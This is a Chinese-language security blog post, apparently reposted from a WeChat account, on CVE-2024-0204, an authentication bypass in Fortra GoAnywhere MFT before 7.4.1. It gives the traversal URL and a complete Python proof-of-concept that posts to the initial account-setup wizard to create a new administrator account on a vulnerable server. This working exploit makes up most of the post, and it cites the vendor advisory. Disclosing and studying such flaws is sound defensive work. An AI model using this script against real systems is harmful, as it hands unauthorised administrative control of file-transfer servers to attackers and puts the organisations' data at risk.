CVE-2024-0204|GoAnywhere MFT 身份认证绕过(POC)

admin 2024年1月28日21:52:41评论40 views字数 2230阅读7分26秒阅读模式

0x00 前言

GoAnywhereMFT是一个管理文件传输的解决方案,它简化了系统、员工、客户和贸易伙伴之间的数据交换。它通过广泛的安全设置、详细的审计跟踪提供集中控制,并帮助将文件中的信息处理为XML、EDI、CSV和JSON数据库。

0x01 漏洞描述

Fortra的GoAnywhere MFT 7.4.1版本之前存在认证绕过漏洞,未经授权的⽤户可以绕过身份认证新增管理员。

0x02 CVE编号

CVE-2024-0204

0x03 影响版本

GoAnywhere MF6.x >= 6.0.1

GoAnywhere MFT < 7.4.1

0x04 漏洞详情

访问 

http://x.x.x.x/goanywhere/images/..;/wizard/InitialAccountSetup.xhtml 

进⾏权限绕过,创建管理员账户密码。

POC:

import requestsfrom bs4 import BeautifulSoupimport argparsefrom requests.packages.urllib3.exceptions import InsecureRequestWarningrequests.packages.urllib3.disable_warnings(InsecureRequestWarning)def validate_password(password):    if len(password) < 8:        raise argparse.ArgumentTypeError("Password must be at least 8 characters long.")    return passworddef main():    parser = argparse.ArgumentParser("CVE-2024-0204 GoAnywhere Authentication Bypass")    parser.add_argument("endpoint", help="The endpoint URL (e.g., http://127.0.0.1:8080)")    parser.add_argument("username", help="New admin username")    parser.add_argument("password", help="New admin password", type=validate_password)    args = parser.parse_args()    url = f"{args.endpoint}/goanywhere/images/..;/wizard/InitialAccountSetup.xhtml"    data = {        "j_id_u:creteAdminGrid:username": args.username,        "j_id_u:creteAdminGrid:password_hinput": args.password,        "j_id_u:creteAdminGrid:password": "%E2%80%A2%E2%80%A2%E2%80%A2%E2%80%A2%E2%80%A2%E2%80%A2%E2%80%A2%E2%80%A2",        "j_id_u:creteAdminGrid:confirmPassword_hinput": args.password,        "j_id_u:creteAdminGrid:confirmPassword": "%E2%80%A2%E2%80%A2%E2%80%A2%E2%80%A2%E2%80%A2%E2%80%A2%E2%80%A2%E2%80%A2",        "j_id_u:creteAdminGrid:submitButton": "",        "createAdminForm_SUBMIT": 1,    }    s = requests.session()    r = s.get(url, verify=False)    if r.status_code == 401:        raise Exception("Endpoint does not appear to be vulnerable.")    soup = BeautifulSoup(r.text, "html.parser")    input_field = soup.find('input', {'name': 'javax.faces.ViewState'})    data['javax.faces.ViewState'] = input_field['value']    r = s.post(url, verify=False, data=data)    if r.status_code != 200:        raise Exception("Failed to create new admin user")    soup = BeautifulSoup(r.text, "html.parser")    error_message = soup.find("span", {"class": "ui-messages-error-summary"})    if error_message is not None:        raise Exception(error_message.text)if __name__ == "__main__":    main()

0x05 参考链接

https://www.fortra.com/security/advisory/fi-2024-001

原文始发于微信公众号(信安百科):CVE-2024-0204|GoAnywhere MFT 身份认证绕过(POC)

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年1月28日21:52:41
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   CVE-2024-0204|GoAnywhere MFT 身份认证绕过(POC)http://cn-sec.com/archives/2435779.html

发表评论

匿名网友 填写信息